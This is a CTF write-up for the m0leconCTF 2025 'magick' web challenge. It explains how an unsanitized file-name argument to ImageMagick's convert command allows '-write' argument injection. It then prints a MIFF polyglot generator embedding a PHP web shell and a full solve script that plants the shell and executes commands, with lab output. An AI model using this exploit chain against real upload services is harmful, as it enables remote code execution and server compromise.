m0leconCTF2025 web/magick
๐ web/magick
m0leconCTF 2025 - Web Challenge
Introduction
magick was one of the first web challenges released during m0leconCTF 2025. It was a medium difficulty challenge, worth 50 points by the end of the competition.
Table of Contents
- TL;DR
- Challenge Description
- Source Code Analysis
- Vulnerability Identification
- Exploitation
- Solve Script
- Conclusion
TL;DR
The challenge involved exploiting an ImageMagick convert command injection vulnerability. By leveraging the -write flag and crafting a MIFF polyglot file with embedded PHP code in its comment field, we could bypass exiftool sanitization and achieve remote code execution to retrieve the flag.
Challenge Description
We are given the source code for this challenge, which makes understanding how it works much easier.
.
โโโ app
โ โโโ index.php
โโโ convert.sh
โโโ docker-compose.yml
โโโ Dockerfile
โโโ flags.txt
โโโ readflag.c
1 directory, 6 files
There is a readflag.c file that is compiled when building the docker image. This indicates that our goal is to achieve command execution on the machine.
Source Code Analysis
Application Analysis
index.php
<?php
if(isset($_FILES['img']) && isset($_POST['name'])) {
$proc = proc_open
$cmd = [
'/opt/convert.sh',
$_FILES['img']['tmp_name'],
$outputName = 'static/'.$_POST['name'].'.png'
],
[],
$pipes
);
echo $outputName;
proc_close($proc);
} else {
echo "hey";
highlight_file(__FILE__);
}
?>
We can upload a file and a name via POST request. Both these parameters are then passed as arguments to proc_open(), which calls convert.sh.
The Convert Script
convert.sh
#!/bin/bash
set -x
convert $1 -resize 64x64 -background none -gravity center -extent 64x64 $2
find . -type f -exec exiftool -overwrite_original -all= {} + >/dev/null 2>&1 || true
This is quite interesting. We can see that our second argument (which is a string) is passed at the end of the convert command without any form of sanitization.
After the image conversion, exiftool is executed on all the files in the current directory to clear EXIF data.
Vulnerability Identification
We will use a Python script to communicate with the server just to make testing faster.
communicate.py
#!/usr/bin/env python3
import sys
import requests
TARGET = "[http://localhost:8000/index.php](http://localhost:8000/index.php)"
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <file> <name>")
sys.exit(1)
with open(sys.argv[1], 'rb') as f:
files = {'img': f}
data = {'name': sys.argv[2]}
r = requests.post(TARGET, files=files, data=data)
print(r.text)
Testing for Command Injection
Let’s try to see what the backend does when we upload a safe image and a name with spaces.
~/ctfs/m0lecon2025/web/magik
$ python3 communicate.py image.png "first second third"
static/first second third.png
frontend-1 | + convert /tmp/phpoThHGk -resize 64x64 -background none -gravity center -extent 64x64 static/first second third.png
We confirmed our input is indeed passed directly. Let’s try a command substitution to get code execution.
~/ctfs/m0lecon2025/web/magik
$ python3 communicate.py image.png '$(touch pwned)'
static/$(touch pwned).png
frontend-1 | + convert /tmp/php9p6pHT -resize 64x64 -background none -gravity center -extent 64x64 'static/$(touch' 'pwned).png'
Our input got split into two different arguments, and nothing got executed because of this. Let’s confirm that our code failed by checking if a “pwned” file has been created on the server.
total 20
drwxr-xr-x 1 www-data www-data 4096 Oct 26 21:09 .
drwxr-xr-x 1 root root 4096 Oct 26 20:52 ..
-rw-rw-rw- 1 www-data www-data 385 Oct 26 20:52 index.php
-rw-r--r-- 1 www-data www-data 302 Oct 26 21:10 'pwned).png'
-rw-r--r-- 1 www-data www-data 302 Oct 26 21:06 third.png
We notice a few weird things here. The first one is that files are not created in the static folder, and the second one is the behavior of the last arguments of the executed command.
Finding the Attack Vector
If we take a look at convert’s help manual, we see this line:
-write filename write images to this file
Since we have control over the arguments passed, we could leverage this flag to arbitrarily create a file with a PHP extension.
$ python3 communicate.py image.png 'dummy -write file.php'
static/dummy -write file.php.png
Let’s check the docker:
$ ls -la
total 16
drwxr-xr-x 1 www-data www-data 4096 Oct 26 21:19 .
drwxr-xr-x 1 root root 4096 Oct 26 20:52 ..
-rw-r--r-- 1 www-data www-data 352 Oct 26 21:19 file.php.png
-rw-rw-rw- 1 www-data www-data 385 Oct 26 20:52 index.php
It created the file with a PNG extension because it was the last argument of the command. Let’s fix our payload:
$ python3 communicate.py image.png 'dummy -write file.php dummy'
static/dummy -write file.php dummy.png
$ ls -la
total 36
drwxr-xr-x 1 www-data www-data 4096 Oct 26 21:22 .
drwxr-xr-x 1 root root 4096 Oct 26 20:52 ..
-rw-r--r-- 1 www-data www-data 352 Oct 26 21:22 dummy.png
-rw-r--r-- 1 www-data www-data 16910 Oct 26 21:22 file.php
-rw-rw-rw- 1 www-data www-data 385 Oct 26 20:52 index.php
Perfect! We can now create a PHP file, and its content is the image we uploaded (with cleared EXIF data).
$ file file.php
file.php: PNG image data, 64 x 64, 1-bit grayscale, non-interlaced
Exploitation
Crafting the MIFF Polyglot
The last step to achieve code execution is to craft a file that will have a PHP payload in its contents, but also bypass exiftool’s data clearing.
To do that, we’ll use a .miff file (docs here). This is ImageMagick’s native file format and it can hold comments. exiftool probably won’t clear this field because this is not a file type it’s expecting.
craft_miff.py
#!/usr/bin/env python3
def create_miff_polyglot(output='exploit.miff'):
miff = b"id=ImageMagick\n"
miff += b"class=DirectClass\n"
miff += b"columns=1\n"
miff += b"rows=1\n"
miff += b"depth=8\n"
miff += b"matte=False\n"
miff += b"comment={<?php system($_GET['cmd']); ?>}\n"
miff += b":\n"
miff += b"\xff\xff\xff"
with open(output, 'wb') as f:
f.write(miff)
if __name__ == '__main__':
create_miff_polyglot()
Achieving Code Execution
Let’s test this exploit:
~/ctfs/m0lecon2025/web/magik
$ python3 communicate.py exploit.miff 'dummy -write file.php dummy'
static/dummy -write file.php dummy.png
And check the file created on the server:
$ file file.php
file.php: MIFF image data
$ cat file.php
id=ImageMagick version=1.0
class=DirectClass colors=0 alpha-trait=Blend
number-channels=4 number-meta-channels=0 channel-mask=0x0000000007ffffff
matte=True
columns=64 rows=64 depth=8
colorspace=sRGB
page=64x64+0+0
gravity=Center
rendering-intent=Perceptual
gamma=0.454545
red-primary=0.64,0.33 green-primary=0.3,0.6 blue-primary=0.15,0.06
white-point=0.3127,0.329
comment={<?php system($_GET['cmd']); ?>}
Great! Our comment didn’t get removed by exiftool. We can now visit the page and we should see our command’s output.
~/ctfs/m0lecon2025/web/magik
$ curl [http://localhost:8000/file.php\?cmd\=id](http://localhost:8000/file.php\?cmd\=id)
id=ImageMagick version=1.0
class=DirectClass colors=0 alpha-trait=Blend
[...]
comment={uid=33(www-data) gid=33(www-data) groups=33(www-data)
}
Perfect! We now have everything we need to get the flag. Let’s make a script to do that.
Solve Script
solve.py
import os
import sys
import requests
def create_miff_polyglot(output='exploit.miff'):
miff = b"id=ImageMagick\n"
miff += b"class=DirectClass\n"
miff += b"columns=1\n"
miff += b"rows=1\n"
miff += b"depth=8\n"
miff += b"matte=False\n"
miff += b"comment={<?php system($_GET['cmd']); ?>}\n"
miff += b":\n"
miff += b"\xff\xff\xff"
with open(output, 'wb') as f:
f.write(miff)
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <name> <target_url>")
sys.exit(1)
TARGET = sys.argv[2]
print("[*] TARGET:", TARGET)
print("[*] Crafting MIFF file")
create_miff_polyglot()
# Upload shell via .miff file
with open("exploit.miff", 'rb') as f:
files = {'img': f}
data = {'name': "a -write " + sys.argv[1] + " a"}
r = requests.post(TARGET, files=files, data=data)
if r.text:
print("[+] Uploaded exploit (" + TARGET + sys.argv[1] + ")")
# Trigger the command execution to get the flag
print("[*] Getting flag")
flag_req = requests.get(TARGET + sys.argv[1] + "?cmd=/readflag")
flag = flag_req.text.split("comment={")[1].split("\n")[0][:-1]
print("[+] Flag:", flag)
Running the exploit:
~/ctfs/m0lecon2025/web/magik
$ python3 solve.py shell.php [http://localhost:8000/](http://localhost:8000/)
[*] TARGET: [http://localhost:8000/](http://localhost:8000/)
[*] Crafting MIFF file
[+] Uploaded exploit ([http://localhost:8000/shell.php](http://localhost:8000/shell.php))
[*] Getting flag
[+] Flag: ptm{fake_flag}
Conclusion
This challenge was a great introduction to ImageMagick command injection vulnerabilities. The key takeaway was understanding how to bypass file sanitization by leveraging ImageMagick’s native MIFF format, which allowed us to preserve our PHP payload through the exiftool cleaning process. By combining the -write flag with a polyglot file, we successfully achieved remote code execution and retrieved the flag.
written by Conflict